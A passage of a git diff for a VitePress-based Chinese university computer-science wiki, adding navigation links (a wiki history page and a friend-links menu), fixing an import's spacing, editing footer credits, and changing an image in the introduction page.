++++++++++--- 简介.md | 5 ++++- 2 files changed, 14 insertions(+), 4 deletions(-) diff --git a/.vitepress/config.js b/.vitepress/config.js index 0d6ffe0..f08e36a 100644 --- a/.vitepress/config.js +++ b/.vitepress/config.js @@ -1,7 +1,7 @@ // import { defineConfig } from 'vitepress' import { withMermaid } from "vitepress-plugin-mermaid"; import mathjax3 from 'markdown-it-mathjax3'; -import { main_sidebar , chapter2, chapter3, chapter4, chapter5, chapter6, chapter7, chapter8 } from './sidebar.js'; +import { main_sidebar, chapter2, chapter3, chapter4, chapter5, chapter6, chapter7, chapter8 } from './sidebar.js'; const customElements = [ 'mjx-container', 'mjx-assistive-mml', @@ -103,6 +103,13 @@ export default withMermaid({ // https://vitepress.dev/reference/default-theme-config nav: [ { text: '首页', link: '/' }, + { text: 'Wiki史', link: '/wiki史' }, + { + text: '友链', items: + [ + { text: '杭电导航', link: 'https://wiki.hduhelp.com' }, + ] + }, ], sidebar: { @@ -119,8 +126,8 @@ export default withMermaid({ { icon: 'github', link: 'https://github.com/camera-2018/hdu-cs-wiki' } ], footer: { - message: 'Made with ❤️ by HDU 计算机科协 && ALL 协作者', - copyright: 'Copyright © 2023-present Evan You && HDU 计算机科协 && ALL 协作者' + message: 'Made with ❤️ by ALL 协作者', + copyright: 'Copyright © 2023-present Evan You && ALL 协作者' }, lastUpdatedText: '上次更改', docFooter: { diff --git a/简介.md b/简介.md index 3e944fa..7665728 100644 --- a/简介.md +++ b/简介.md @@ -29,7 +29,10 @@ 想必在这里,你或多或少都能得到自己的答案! -![](https://pic-hdu-cs-wiki-1307923872.cos.ap-shanghai.myqcloud.com/hdu-cs-qq.jpg) +

license @@ -20,10 +23,11 @@